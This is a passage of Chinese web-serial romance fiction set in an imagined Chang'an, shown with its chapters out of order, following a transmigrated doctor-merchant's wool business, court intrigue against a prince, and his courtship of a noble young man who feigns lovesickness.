“这生意打哪儿来的?”他到长安就没看过几个病人,名声还没打出去呢,更不说为何病人都是后宅的娘子郎君? “自然有人介绍,说来,你擅长妇科吗?”别此云知道学医都有专攻的方向,但中医给人留下的印象,总免不了一个大夫什么病都能靠把脉看出来。 “不擅长,但也能治,遇上疑难杂症只能勉强试试,不保证能治好。” “那你妇科圣手的名头想必不日就要在娘子郎君私下见传播开。” “……”所以是谁介绍他去给后宅娘子郎君看病? 别此云不愿意透露,尚柒自然问不出结果,灰溜溜的打道回府,把随身带着的医书翻出来,颇有一副临时抱佛脚的意思。 果然不出别此云所料,尚府有贵客登门,借的是隔壁苏府的关系,来人也跟隔壁苏府的赵厢赵郎君相熟,对外只说是到苏府和赵郎君叙旧,实则是到隔壁请尚柒看诊。 要说来的病人里,十个有七个都对尚柒的外貌抱有疑惑,也不怪她们,实在是这样年轻能独立看诊,还被叫神医的大夫在大历一个都找不出来。 就尚柒自己,上辈子在这个年纪,虽然被逼着把各类中医圣典倒背如流,但真要他看病,也不见得能有多高明,到底缺乏实战经验。 转头这辈子倒是把实战经验补足了,只消开几次义诊,过来看病的人只多不少。 赵厢也是得了尚家的好处,往日里许多未深交的娘子郎君都和他有了来往,也是开拓了不少新人脉,连带着他自己也去寻尚柒堪了脉,得了一个身体康健的结论,连着高兴了几日。 “尚大哥你是不知道,我阿耶近来连看我功课都是笑着的,往日他要是瞧见我的功课,一早就黑脸,可吓人了。”苏长屿没有兄长阿姊,打认识尚柒后,几乎是把尚柒当兄长看的。 “那你有听你阿耶说,是谁介绍这些娘子郎君来尚府看诊的吗?”尚柒还没弄清楚这些娘子郎君从哪儿听来他会看病的,他也有旁敲侧击问过病人,但都只是听说常乐坊来了个西南名医。 而起先来的两三人,多半是抱着过来试试的心态,谁晓得尚柒是有真本事,就坐实了名医的名头。 苏长屿摇摇头,他哪里知道这种消息。 尚柒长舒一口气,总不会无中生有,能介绍病人给他的左右就那么几个人。 排除看戏的别此云,唯一剩下的就是别景季夫妇和谢琅,前者应该没那么大的能量,更别说夫妻二人估计还在纠结是棒打鸳鸯好,还是撮合良缘好。 后者,后者产业多,名下酒楼布行成衣铺首饰铺遍布长安,悄声无息的透露给来店里的娘子郎君,外人的确很难察觉源头。 只是谢琅这么干的理由是什么? 39.第 39 章 “尚兄你不是打算科举,我这是给你送人脉来了。”谢琅在金玉满堂被人堵了个正着,上次他被堵在金玉满堂,还是有钱,难怪两人能凑一块,做事都一个德性。 尚柒不语,人脉的确送来了,但也送了不少麻烦,过来看病的娘子郎君已经有七八位问过他的亲事。 虽然知晓他是商户,不可能嫁自家娇养的姑娘哥儿,但哪个世家还没几门穷亲戚,出了五服衰落成寒门的世家子弟比比皆是,只需要从中挑选一二愿意的姑娘哥儿,结成好事,也算是绑住了一位神医。 “我近来要为科举准备,看病已经耽误了不少时间。”尚柒疲于应付这些娘子郎君。 “尚兄,这事你听我的,哪怕你现在把圣贤书全背下来,也不及和这些娘子郎君交好,只要尚兄你不经意间透露你打算科举的事,我想用不了多久就有人主动找上门。” 枕边风的厉害,谢琅再清楚不过,小看后宅娘子郎君的本事,都是要吃大亏的。 “有求者必有所累。”世家无利不起早,尚柒真要是表露自己想科举,给他介绍亲事的娘子郎君只怕翻几倍不止。 他是为了别此云的亲事才科举的,这会子反倒自己麻烦缠身,岂非本末倒置。 “所以尚兄你得多看诊一些娘子郎君,虽说大部分人受利益驱动,但尚兄还是要相信,有些人的确有君子品行。”谢琅自己也不见的是君子,但长安城里的君子不少,“此事有钱也知情,他既不反对,尚兄何必排斥。” “……” 远在别府的别此云可不知道谢琅拿他说话,堵了尚柒的话头,眼下他在府里日日都在脸上擦了粉装病,和时下不够细腻的胭脂水粉比起来,别此云用来化妆的粉都是特制,为的就是装病。 加上他本来身体就不好,脉象虚弱,一般的大夫也轻易揭穿不得。 这病应付的是暮云堂的两位,府里其他人概不知情。 也多亏上次尚柒过来提到了谢氏那位嫡系子相思成疾的事,要想叫兄长嫂嫂尽快明白他喜欢尚柒,相思病的确是个好借口。 衣带渐宽终不悔,为伊消得人憔悴,眼前的别此云正是应了这话。 显然,暮云堂的两人深信不疑。 就说别景季,他原本对此云是否喜欢尚柒还将信将疑,但瞧着小弟越发憔悴下去,也不得不信此云当真对尚柒情深不移。 “此云,可是近几日在家憋闷了,我瞧你面色不大好,若是府里无趣,可叫上你嫂子出门走走。”别景季顾左言他的希望别此云把心思放到别处。 “阿兄,我常年在道观修行,在家哪里会觉得憋闷,只是近来天气炎热,人没什么精神罢了。”别此云故作坚强,“说来,嫂子身体怎么样?” “已经见好了。”别景季不肯顺着话提起尚柒,他还想着断了小弟念头的事。 “尚大夫医术高明,等嫂子病好了,阿兄可不要吝啬人诊金才是。” 别景季一时语塞,他都没提尚柒呢,再看此云提及尚柒微微上翘的嘴角,不由的叹气。 “此云,你与阿兄说实话,可是倾心于尚大夫?” 别此云不想兄长竟然打直球,眼神略有些躲闪的回到:“阿兄怎么这么说,我和尚大夫才见过几面?” “见一面相思成疾的人长安也非没有,此事我不会告诉爹娘,你只管说实话。” “……许是有些喜欢。”别此云言辞中带着苦涩,大抵也明白这段感情基本没有结果。 “能断吗?”别景季见小弟黯然失神的模样,自然心疼,他这性子孤傲的小弟,什么时候也会为这些凡间俗事困扰。 “我……不清楚。” 模棱两可的回答本身也代表了不愿意断的念头,别景季哪里舍得自家小弟如此伤神,既然夫人说尚柒对小弟不是一点感觉没有,且尚柒若能科举得中,由他暗中出面,未必不能成就好事。 但事未办妥前,别景季不想给小弟希望,又叫他失望,为此别景季只拍拍小弟肩膀安慰,等回到暮云堂,就和夫人商议如何促成良缘。 张青浣早就知道别景季此人心软,小弟难得有个喜欢的人,又怎么会真舍得棒打鸳鸯,若尚大夫真就是个商户也就罢了,偏尚大夫有望科举,哪怕只一点希望别景季肯定也是要试试的。 “此事想要办成,最要紧还是叫尚大夫愿意为此云参加科举。”不然错过今年,娘那边可就等不住了。 “这也是难办的地方,尚大夫只要愿意参加科举,剩下的事我都能插手,偏这个愿意最难办。” 上次他打听过,尚大夫是无心科举的,甚至到了长安,尚大夫也一直默默无名,连个文人都不曾结实,如此做派也的确是不愿掺和官场。 “尚大夫同此云的感情尚浅,咱们没把握也正常。”张青浣并不意外。 “夫人这样说,可是有了办法。” “此事难点就在尚大夫对此云感情不深,只要尚大夫对此云非他不可,问题不就迎刃而解了。” 如何要尚大夫对此云非他不可,别景季当然有想法,只是:“要是叫此云和尚大夫再接触,情况更严重怎能办?” “难道现在此云的情况还不够严重?” 别景季闻言沉默,此云如今的状态,打他出生起都没有过,自然是严重的。 “我会寻机会叫二人见面的。” ——————————— 尚柒收到别景季的消息时,就知道事情妥了,余下的就看他和别此云的表演。 不过近来长安的水又浑起来,自西南探子归来后,想来几位皇子也都掌握了五皇子和蔺家勾结的证据,他观此云提供给他的消息,这几位皇子都不是什么能忍的人。 若非是齐王被罚了禁闭,恐怕出头鸟又要齐王来当了。 余下太子、晋王、平王三人,最沉不住气的该是太子,不过太子还算听话,若是将手中的消息散布给幕僚,多半会忍一时之气。 晋王和平王中,四皇子平王最有可能当这个出头鸟,不出意外,也就是这几日朝堂中必然会扔出这个深水炸弹。 大 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尚南枝已经从阿兄那里知道有钱公子就是别公子,加上尚乌桕时时刻刻给她洗脑,虽然她还不确认别公子会成为她的嫂夫郞,但对别公子颇有好感,就是感到此事有异,也不会当着谢琅的人揭露。 “如此,名单没什么问题,周掌柜只管请人明日上工。” 尚南枝面上应了话,心里却还是将此事放在心上,按说有个官身肯定比寻常百姓日子好过,军中的亲眷为何要出门做事? 莫不是夫君在军中并无什么官职,如此银钱不够养活一家子,须得家中娘子郎君抛头露面填补家里。 别公子又为何会和军中有联系,阿兄又是否知情。 打阿兄无缘无故要来长安起,尚南枝心底就有一股不对劲的猜疑,具体是什么她还没想明白。 在长安安顿后,她更加确信阿兄必然在筹谋什么,往日她大概还能往生意上猜测,但自从别公子现身后,事情更是扑朔迷离。 只希望阿兄不是在做什么冒险的事。 是夜。 尚南枝赶在坊门关闭前回了府,织坊初成事情的确繁杂些,等一切上了正轨她就能早些回府了。 “府里怎么多了这么多马车?是商队送的药材到了吗?”尚南枝一向是跟马车走侧门回府,正好能看见往日空旷的马厩多了许多马匹。 “二小姐猜的不错,商队今日上午到的,安顿好这群汉子就都出去了。” “在外留宿没什么,但须得报告给商队的领头,常乐坊治安虽然不错,但其他坊市有不少鸡鸣狗盗之徒,若是偷了金银还好,若是丢了命可就得不偿失了。” “二小姐放心,东家在人走之前也特意叮嘱过,都是家里有妻儿的汉子,再胡闹也有个牵挂。” “阿兄休息了吗?”尚南枝是知道阿兄近来白日有不少病人。 “还未,东家正在书房,二小姐只管过去就是。” 尚南枝点头,往阿兄书房去了。 26-30 第26章 金玉满堂三楼包房。 谢琅正有一下没一下的用折扇敲手心, 自打听完有钱和尚东家说的生意他就一直这个样,其实也不怪谢琅如此心不在焉。 实在是这门生意的确很大,世家出身, 家底有多少金银财宝都不如粮食布帛来的有底气, 羊毛织成衣裳, 与布帛无差, 若真做起来,必然会对布帛生意冲击。 当然了谢家要做这门生意,皇帝来了也得让路,他是不怕其他世家知晓了横插一杠,毕竟大家伙怎么发家的, 私下里都是门清, 真亮刀子, 该怕的是其他人。 本来是天大的好事,偏偏这事是有代价的。 “有钱你应该没有掺和夺嫡之事, 对吗?”谢琅虽不怕诸位皇子,但也不轻易得罪, 他到底不是谢家下任家主, 该有的分寸还是要有的。 “我与诸位皇子又没有关系, 如何掺和进他们的事?” 谢琅的确是个聪明人, 代价还没开口就已经想到最坏的地步。 “那尚东家?”尚柒的底细谢琅还不清楚, 只晓得打西南过来,做药材生意的, 于地方上或许是地头蛇的存在,这样的人会和长安城的皇子扯上关系吗? “我不过西南边陲做买卖的生意,自然掺和不进这样的大事,不过……” 凡是就怕不过, 谢琅心里已经有了猜测,虽然和夺嫡没有关系,但多半跟哪位皇子有关,不然为何要他谢家身份做挡箭牌。 “尚东家,生意已经说完,代价也就不要藏着掖着了,既然不牵扯夺嫡,代价我还是付的起。” “既然谢少爷如此爽快,我的确不该扭捏,前些时候我的马车在长安街市走动,巧遇一群五菱年少当街纵马,横冲直撞,事后查明这群人行事是齐王挑唆。” 蔺家的事别此云和尚柒都心照不宣的没提。 “齐王,却也不是新鲜事,齐王自己没少在长安城内纵马,不过有萧氏站台,御史台的御史们都不愿意为了这点小事得罪萧氏。”谢琅对齐王的印象不算好,加上家里在长安地位显赫,除去宫里一些秘事知道的不清楚,在没有瞒过谢家眼睛的。 “不光纵马,齐王好美色,当街强抢美人不可计数。”别此云适时接话。 “好啊,绕来绕去,你们想借此教训齐王。”别此云话落,谢琅已经明白两位的主意,先不说二位身份到底是谁,但吃了齐王的亏竟不准备忍气吞声,而是想法子给齐王吃个教训,这脾性对了谢琅的胃口。 “能不能教训齐王,要看谢少爷愿不愿意搭把手。”尚柒已经确定谢琅多半是觉得此事有趣了,现在哪怕不让谢琅掺和羊毛生意,谢琅多半也愿意在教训齐王的事上添砖加瓦。 “这么有趣的事,我自然帮忙。”只是给齐王一个教训,又不是要把他从王位上赶下来,便是齐王真知道背后是谢家搞鬼,他还能拿谢家开刀不成? “具体你们打算怎么做?” “强抢民女一事从未东窗事发,因为苦主大多都不知道背后是齐王的手笔,加上齐王位高权重,一般人家也不敢正面和齐王对上,所以我们准备让这件事闹大。” 或许在皇帝眼里,死几十个人和几个人没什么区别,但真闹到台面上,不给满朝文武百官一个交代,只怕过不去。 “是个好主意,而我要做的就是帮忙将此事在长安城传开,对吗?” 尚柒点头,计划本也不复杂,唯一需要担忧的就是事后萧氏和齐王事后报复。 谢琅替他们出面,齐王和萧氏要么查不出来,要么查出来也不敢轻举妄动,反而还要思考是不是自己哪里没做对得罪了谢氏。 “不是难事,代价我接了,什么时候开始生意。”哪怕教训齐王这样的大事也只能吸引谢琅片刻注意,最后话题还是来到了生意上。 “谢少爷什么时候有空都可以。” “那就定明日,近来我都闲的骨头发懒,正好寻些事情做。” “可,明日宣义坊见。”尚柒也不推脱,宣义坊南枝说已经开始陆陆续续的准备招人手,有谢琅出面,一期工程说不定还能扩大规模。 到底现在有谢家做靠山,再小打小闹岂非是小气了。 送走谢琅,别此云和尚柒不得不说松了口气,谢琅到之前他们可是想过谢琅当真不愿意他们该怎么强买强卖的计划。 “谢琅此人的确可以深交,但你的身份万不得已还是不要泄露给他。”尚柒和谢琅打了一次交道,只摸清了一半谢琅的风格,这位谢少爷绝不是表里如一的人。 “我清楚,谢琅答应出手,多半会遣人去查蔺家和齐王的事,当初给几位皇子放消息,知道蔺家勾结边境之事的人不多,却也不敢说一点风声没有走漏,若是谢琅查到蔺家的事,计划可能会有变。” “谢琅查不到,蔺家的事藏的很深,几个皇子知情也必不会走漏风声,哪怕齐王挑唆蔺家子当街纵马的事抖落出来,外人也只当齐王想借此机会给蔺家使绊子,绝计不会想到蔺家背后还背着这么大一个雷。” 这雷广运帝都不知道,想来再有不久,各皇子去西南的人就该抓到人证,到时候人证到长安,必然会掀起一场腥风血雨,也不知广运帝的身子骨撑不撑的住。 “还是要谨慎些。” “难得要你劝我谨慎,不过也有道理,我会尽快办齐王的事,只要被揭发的速度够快,谢琅就没有时间深挖。” 到了这里,事情差不多算说完了,天色也不早,别此云该回府了。 只是人要走的时候,尚柒突然开口。 “为何要给自己起一个有钱的名字?”倒也不说俗气,现代人哪个不想有钱,账号昵称叫自己有钱的多了去了,但没几个会取这么个名叫人当面称呼。 “不是我取的。”说起这个名字,别此云哪怕带着帷帽也能看出他表情的无奈。 “谢琅取的?” “嗯,先前他还叫我财神爷。”名字不过代号,别此云虽然略有不满,但也随谢琅去了,左右也不会掉块肉。 “好吧,之后有谢琅的场合,我都要称呼你为有钱公子了,想来日后若还有合伙人,你这名字定能声名远扬。” “你高兴就好。”别此云不理尚柒的打趣,早知今日,谢琅提出叫这个名的时候他就该一口否了。 满目含笑的目送别此云离开,尚柒又坐了一会才往楼下走,已经过了正午的饭点,金玉满堂的包房依旧热闹,可见打金玉满堂开门后,一整日都没闲下来的时候。 也巧,尚柒往下走,楼下也上来一群富家子弟,为首的青年身着大红金丝镶边的锦缎,腰间的缎带镶有上等和田玉,金冠束发,不必想就知此人背景不简单。 好在金玉满堂的楼梯足够大,尚柒也只一个人,交错间两方人并未有什么交集冲突,想来对方也不见得把尚柒放在眼里。 不紧不慢到了楼下,马车正停在酒楼口,张阿大见到东家,快几步将马车赶过来。 “方才进酒楼的富家子弟,可知道底细?”尚柒踏上马车,问了一句。 “回东家,我瞧着他们过来的马车,规格许是王爷才能用,那群人下马之后,我又听得两三少爷喊为首的青年殿下,多半是哪位王爷。” 张阿大跟着东家在长安跑了不少地方,要问长安坊市之类的他还能对答如流,问起长安的权贵,就有些力不从心了,毕竟这活都是冯风在做。 这小子识人不忘,东家没吩咐的时候几乎带着手下的弟兄在整个长安晃悠,多半已经弄清楚不少权贵的相貌。 “王爷,倒是巧了。”才在金玉满堂定下对付齐王的计划,就遇上一位王爷,若此人就是齐王,也不知算不算自投罗网。 —————————— 别此云回到府里,还未到梧桐苑,就收到他娘正在院子等他的消息,常在河边站哪有不湿鞋,别此云早有准备被发现,所以并不心虚。 果不其然,一踏进梧桐苑,就见院子的石桌旁正坐着苏怡然,院里的侍人也都恭敬在两旁站着,怕是已经被训过话了。 “娘今日怎么到我这里来了?”别此云走过去,像是看不见苏怡然脸上的黑气。 “我若不是心血来潮过来,尚且还不止府里的公子竟然不在家。”苏怡然今日本是有人请她去做客的,半道遇上点事做客也就不了了之,如此回到府里,正好打算见一见躲她的哥儿,哪想到了梧桐苑,人影都没有。 “娘说的哪里话,我又不曾犯错禁足,如何不能出门?” “你常年在道观,回家的时间屈指可数,往年在家连家里举办的宴会都不乐意参加,今儿反常出门,我这个做娘的还问不得?”事出反常必有妖,苏怡然怕自家哥儿被哪家不要脸的哄骗了去。 “只是在家呆的久了,闲来无趣出门走走。” “当真?” “当真。” “那好说,此云嫌家里无趣,过两日正好有场赏花宴,你同我一块去,且放心,宴上只有姑娘哥儿和娘子郎君,不会有不长眼的扰你清净。” “娘做主就是。”别此云知道不能继续推脱,不然他娘该是要生气了。 “红酥,去绣房取公子的新衣裳过来。”苏怡然吩咐完人,又叮嘱自己哥儿,“衣裳是前几日吩咐人做好的,正是长安公子流行的款式,之后你就穿它赴宴,不许再敷衍了事。” 别此云漫不经心的嗯了一声,看来他娘有看好的人家了,今日就要让书墨那头动手查一查,不然可不好搅黄这门好事。 第27章 宣义坊。 尚柒和谢琅碰头, 便赶着马车往尚家租的仓库去。 尚南枝忙了这么长时间,仓库早就大变样,连带着纺车都已经从木匠那头取来安顿好, 只要招来人手, 库房里囤积的羊毛就能消耗一空。 “料子摸起来粗糙, 比不上锦缎。”谢琅的衣裳都是好料, 手里没做布帛生意,说不定麻布都没见过。 “本也不指望贴身穿,冬日穿在中衣外面,再穿一件厚外衣,便不惧严寒。”尚柒解释, 长安的冬日冷也是冷的, 但和北方边境比起来, 又差上许多,羊毛的确暖和, 身体好些的汉子穿三件衣裳走动,都得出汗。 “这样的衣裳富贵人家的路子不好打开, 但在百姓间销量应该不错。”世家的人都是死要面子活受罪, 凭羊毛的粗糙程度, 再保暖也撑死了当个毡毯。 “羊毛粗糙的确不受富贵人家喜爱, 所以我也没打算做上层市场。”世家的钱好赚不错, 但长久生意还是要面向百姓。 薄利多销,衣裳又比粮食好, 哪怕运去天南海北,只要不遇上劫匪,都没什么损耗。 谢琅是认可这门生意的,他可一点也不小觑平民生意。 “其实你要想做富贵人家的生意, 我这里也有一条路子。”尚柒见谢琅兴致缺缺,多半是认为自己在羊毛生意上插不上手,既然确定是合作关系,尚柒不介意再给谢琅早点事做。 “哦?说来听听。” “若论保暖,除去羊毛,鹅鸭身上的绒毛更甚,谢少爷要是能大规模养殖鹅鸭,想来富贵人家的门路也可以打开。” 鹅鸭尚柒在西南也有养,规模不算小,但一只鸭身上二两绒都没有,一年到头攒下来的鹅绒鸭绒自家都不够用的,自然没打算做这门生意。 “鹅绒鸭绒,此前倒是没听说,若真如尚东家所说,或可以试试。”谢琅将信将疑,不过在认识尚柒之前,也没见哪个把羊毛织成衣裳,鹅绒鸭绒成衣,不是天方夜谭。 尚柒点头,也完全不意外谢琅不知鹅绒鸭绒,这等富贵堆砌出的少爷,连鸡毛店是什么都不知道,指望他认识鹅绒鸭绒,还不如指望他能分清楚鹅鸭。 参观过尚家简陋的小作坊,谢少爷大手一挥斥巨资要扩大生产线,自然了,谢少爷掺和进来,除去给钱,自家人手也不会少派。 既然都有谢琅的人掺和进来,尚柒觉得该叫别此云也派几个人手一块管着,三角形具有稳定性,在生意上尤甚。 …… 别此云昨日才被他娘捉了个现行,今日自然不会顶风作案再出门,不过他也的确不需要出门,尚柒和谢琅要谈的生意他没有插手,跟过去也是当背景板。 “公子,书墨传消息回来了,是蒲州柳氏的嫡出少爷,单字一个确,行九。”琴砚得了门房的消息,匆匆回到梧桐苑,见公子正在池边坐着喂鱼,凑近小声汇报。 “蒲州柳氏。”别此云手里喂鱼的动作一顿,虽说时下流行高嫁,但就门第而言,别家和柳氏差了不止一星半点。 别家是鲤鱼跃龙门的世家新贵,柳氏是与萧谢齐名的老牌世家,这些老牌世家一向是眼高于顶,嫡系更是连皇家都看不上。 一般都是内部消耗,别家要想结亲也不是不可能,但多只能攀上旁支,或是嫡系的庶子庶女。 柳确其人别此云没有听说过,但也正常,柳氏嫡系都在蒲州,不似萧氏和谢氏一半搬迁到长安,长安城里的柳氏只是蒲州柳氏的旁支。 “此人到长安了吗?” “到了,听闻有意要入仕,刚在长安柳氏的宅邸安顿。” 大历已经不再如日中天,朝廷也没什么空位,世家子弟想要入仕,多也要走科举一道,不过和寒门庶民比起来,世家子弟参考,身份越贵越板上钉钉。 柳确是柳氏嫡系,中央地方都有人经营,只要他愿意参加科举,朝中官位必有他一席。 “还打听到什么消息?” “于长安没打听出什么消息,此人入长安后未曾结交应酬,连出门的次数都极少,公子想要知道更多消息,可能要遣人去一趟蒲州。” 琴砚也觉得奇怪,一般地方过来的大世家子弟,到长安后都会接触一些长安本地的世家子弟,凭借柳氏的地位,要融进长安的圈子并不难,但这位柳少爷却是一副两耳不闻窗外事,一心只读圣贤书的模样。 “没打听出他定没定过亲?”其他消息也就罢了,柳确这个年纪,又是柳氏嫡系出身,就是成亲也不奇怪,不可能没有定亲。 “不曾听闻,柳家把消息捂的紧,或许其中有什么文章。”只是琴砚觉得恐怕文章不大,夫人看上柳确,哪怕是柳氏高门,也绝计会把人查个底朝天。 柳确若在婚事上真有什么首尾,单是夫人那一关都过不了。 “算了,也不急,派人去蒲州一趟。”左右宴会多半也只见一见柳氏在长安这支的主事人,他娘真要把他和柳确凑一块,肯定要安排他们见面。 “公子,我瞧夫人这次势在必行,定要为公子寻一门好亲事,夫人瞧上一个公子搅黄一个也不是办法,还是要想想如何一劳永逸才是。” 琴砚知公子抱负远大,这点私情小事不该阻碍公子步伐。 “一劳永逸?我也想。”别此云将手里剩下的鱼食撒进水里,只见几条金尾鱼争相从水底冒出抢夺,深陷长安做什么事都难免束手束脚,真到了没办法的地步,只能想办法离开这里。 —————————— “甜品屋的糕点就是比其他糕点铺的要好吃,但太贵了,我自己每月的零花都买不了几次。”苏长屿又混到尚府玩了,自打认识了尚乌桕,他可是想尽办法从家里跑过来。 实在是家里也没有其他小孩,他一个人孤孤单单,也亏得尚家和他们家关系不错,不然他阿耶肯定不答应他上门玩闹。 “阿兄说糕点吃多了坏牙,你就是有钱也不能日日吃。”尚乌桕坐在秋千上晃悠,这秋千是让守义哥趁夜里有空扎的,比家里的秋千小不少,但人在外地也不该强求太多。 “唉,阿耶和身边的嬷嬷也是这么说,不过家里的饭菜是越来越好吃了。”自打他们家的厨娘上门学艺后,他每顿都要多吃半碗饭,身上的肉都更结实了。 “你没吃过更好的,我家里做饭的胡娘子手艺最厉害。”尚乌桕说着舔了舔嘴唇,离开长平村两个多月,他还蛮想家里的饭菜,也不知道胡娘子想不想他。 “当真?”苏长屿眼睛眨巴眨巴,喉咙也跟着滚动,明显是馋了。 “那还有什么假的,只是我家离长安太远了,你年纪小没大人跟着也不能去,等你长大了来礼县,我做东道主请你吃饭。”尚乌桕拍拍胸脯保证。 “你还要回礼县啊。”苏长屿没想到小伙伴竟然还要离开。 “肯定要回去,我阿兄阿姊的家就在礼县,现在来长安也是阿兄要做生意,等生意做完了就回去,不过阿兄都在长安置宅子了,说不准每年我都会跟来玩一段时间。”尚乌桕虽然也舍不得才交的小伙伴,但他还有更多的小伙伴在西南,都在等他回去继续做他的小弟小妹呢。 “好吧,也不知道我长大了有没有机会出长安看看?”苏长屿叹气,他爹是寒门出身,好不容易通过科考当了官,又娶了他阿耶,才得以留在长安。 在家的时候,他听阿耶和爹说的最多的,就是想要再往上走一走,但又不愿意离开长安。 “你们读书人不是喜欢游学吗?等你长大了就对你爹和阿耶说要去游学不就行了。”尚乌桕别的本事没有,歪主意一大堆。 “好办法,我记下了。”苏长屿学着小伙伴夸奖时的手势,用右手比了个厉害的姿势。 “对了,你在长安这么久,有没有认识姓别的人家。”尚乌桕打清闲观回来,对这个别公子可是抓心挠腮的想知道,但他又不认识几个长安本地人,更不说大海捞针捞一个只知道姓氏的哥儿。 “别姓?好像阿耶认识一位别府的夫人,不知道是不是你要找的。” 赵厢为了夫君前程,几乎长安大大小小的宴会都是去的,凭借赵府培养的社交手段,也在娘子郎君中混的开。 苏长屿年幼,有时也会被带去宴上,有喜欢孩子的娘子郎君总会过来逗一逗,为此他也认识几位和他阿耶交好的娘子郎君。 “是哪一家?” “具体我也不怎么清楚,我只听闻别府的老太爷是当今太子的太傅,我阿耶还想送我去别府念书。” 别家文名盛,家里子弟也都是由长辈教导开蒙,不少世家子弟都想把自己孩子送到别府名下读书,但自打别府老太爷当了太子太傅,大部分人为了避嫌都不再提此事。 苏家门楣低,就是避嫌也避不到他们头上,唯一要担心的就是苏府够不够的上别府的门栏。 “你这样说我也不知道是不是。”尚乌桕愁眉苦脸,他连这位别公子的面都没见过呢。 苏长屿挠了挠头,想了主意。 “后日有个宴会,我阿耶要去赴宴,听闻那位别府夫人也要来,到时候我可以让阿耶把我们带上,你亲自看看不就知道了。” “那也没用,我都不认识什么别夫人。”尚乌桕摇头,“再说,这样的宴会我的身份可不合适。” “这次宴会宴请的都是内宅的娘子郎君,不计较身份,也有许多娘子郎君会带自家孩子过去,我就被阿耶带去过几回,不妨什么。”苏长屿可是义气满满。 第28章 尚柒回府, 就见尚乌桕面露纠结,连一旁甜品屋的糕点都没吃完,可见是遇上麻烦事了。 “有什么我能帮忙的?”身为兄长, 尚柒对弟弟妹妹并不严苛, 但也不过度溺爱, 真要是什么麻烦事, 他这个做兄长的没道理袖手旁观。 “苏长屿请我后日跟他去赴宴,说是内宅娘子郎君准备的小宴。”尚乌桕没问阿兄让不让他去,反正问起来肯定是不让,不如直接跳过这一步。 “怎么突然想参加宴会?”尚柒可没有让弟弟妹妹掺和长安娘子郎君宴会的打算。 “之前一直听苏长屿说宴会好玩,我就想去瞧瞧。”尚乌桕继续装可怜, 他知道阿兄没一口否决, 那就有转圜的余地。 情况也的确如尚乌桕所料, 尚柒被说动了。 “去也可以,不过我得先去苏府问问, 若赵郎君不方便带你,不许闹。”苏家先有求于他们家, 之后关系往来一向不差, 只带孩子去宴会见见世面其实不算大事, 就怕赵厢认为是他们家借苏家当跳板, 想攀高枝, 连带以后邻居都没得做。 “阿兄最好了。”尚乌桕连蹦带跳的扑过来抱住尚柒,如果不是尚柒常年习武下盘扎实, 这跟炮弹似的一撞,保管得摔个四脚朝天。 安抚好尚乌桕,尚柒着人去库房取了些东西,登门拜访总不好空手去的。 而苏府, 赵厢也被自家儿子缠的没办法,要说听到儿子求他带隔壁小哥儿赴宴,心里没想法是不可能的。 尚家经商,只有一些穷酸门楣的读书人能看上,这时候把自家小哥儿推到宴上,难不成还指望有娘子郎君能看上? “阿耶,我可是请了乌桕好几次乌桕才答应的,你不能让我食言。”苏长屿无师自通撒泼打滚,得亏长得虎头虎脑,瞧着可爱,不然等着吃一顿竹笋炒肉。 “既然乌桕以前拒绝,现在又怎么答应了?”赵厢就怕自己傻儿子被骗还帮人数钱。 “自然是这次阿耶你说去的都是内宅的娘子郎君,乌桕才愿意去的。”苏长屿喋喋不休的说着他请尚乌桕好几次被拒绝的事。 赵厢听了许久,迟疑了片刻又问:“乌桕可曾定亲?” “没听说过,不过乌桕说他要跟着尚大哥学医术,没出师前都不会考虑亲事,不光乌桕,南枝姐姐也是呢。”苏长屿不知阿耶为何问这个,但也照实说了。 是了,尚家除开尚乌桕,还有个尚南枝,若真想攀高枝,尚南枝的年纪明显比尚乌桕合适,或许真的是他想多了? “郎君,隔壁尚府的大少爷过来了。” “请人进院里说话。”赵厢捏了捏儿子脸,真是生了个冤家。 说起来,尚柒还未曾和苏家主夫见过面,若不是家里小的常来往,尚柒多半是和苏家做个表面和睦的邻居,不会深交。 赵厢过来的时候,头一眼先瞧着厅房坐着的尚柒,他也是打听过尚柒的消息,但今个儿一见,却也不免眼前一亮。 要说京中的好儿郎他见过不少,尚柒不过商户出身,论相貌气度竟然不比京中一些大家族出身的儿郎差。 若非他早清楚尚柒来历,还道尚柒是哪家的富贵子弟呢。 “赵郎君。”尚柒见人过来,起身行礼。 “原说闻名不如见面,早前一直有闻尚东家的事,今日终于有机会得见。”赵厢也是世家出身,世家人都有个毛病,那就是喜欢看脸,现如今当官都要相貌端正,可见颜值的重要性。 “初到长安事务繁忙,一直没能寻到机会登门拜访,是我的不是。” “尚大哥,你是不是来商议乌桕去宴会的事。”苏长屿熟稔的跑到尚柒跟前,因为墙头救他的事,他和尚大哥关系很不错的。 “的确是来说此事的,乌桕年幼不懂规矩,若你们当真想一块玩,日后有的是时间,宴会就算了。” “可是,乌桕好不容易才答应我。”苏长屿满脸失落,原以为尚大哥是过来劝他阿耶的,结果反倒是劝他打消念头。 “宴会都是生人,你们去了只怕也玩不尽兴,不如之后得空,我带你们去长安城外走走。” “尚大哥你此话当真?”比起去无聊的宴会,肯定还是出城更吸引人,若是尚大哥愿意带他出城,宴会去不去也无所谓了。 “当真,不过此事也要你阿耶同意才行。”尚柒三言两语打发了苏长屿,看的赵厢连连惊叹。 他这个儿子,什么时候这样好说话了。 “赵郎君,小孩童言童语不知轻重,宴会的事还请别放在心上。”和苏长屿谈完,尚柒面带微笑的和同赵厢搭话。 “尚东家哪里话,我膝下只长屿一个孩子,平日也没个玩伴,打尚东家搬来后,两个孩子能玩到一块,也是缘分,不过是孩子们闲的无聊,去宴会上开开眼,哪里值当一句不知轻重。”听尚柒这样说,赵厢的态度软和下来。 “乌桕自幼在山间长大,一向野惯了,也未曾学过什么规矩,真要是让赵郎君带去宴会,恐怕会丢了赵郎君颜面,他年岁小不知事,我身为兄长却不能不知事。” “小孩玩闹,哪里就上升到颜面,从前我家小子一向不喜宴会,今儿特意告诉我愿意去宴上,我哪里有不答应的道理。 尚东家且放心把弟弟交给我,不然我哪里好意思让自家小子再登门扰你清净。” 话到这个份上,也能看出赵厢没说客套话。 “这……” “尚东家且放心,后日的宴会都是郎君熟人,宴上也有许多娘子郎君带孩子去,对外只说乌桕哥儿是老爷家表亲,不妨什么。”赵厢身边的李嬷嬷也搭话,叫原本迟疑的尚柒都不好再开口拒绝。 “如此,劳烦赵郎君了。”尚柒应下。 “不过举手之劳,尚东家哪里的话。” 一场寒暄结束,尚柒便告辞离开,本以为不能去宴会的苏长屿张着嘴,也不知道为什么阿耶就突然改变了主意。 “还当他们家想要攀高枝,原是我想多了。”赵厢揉了揉儿子的头。 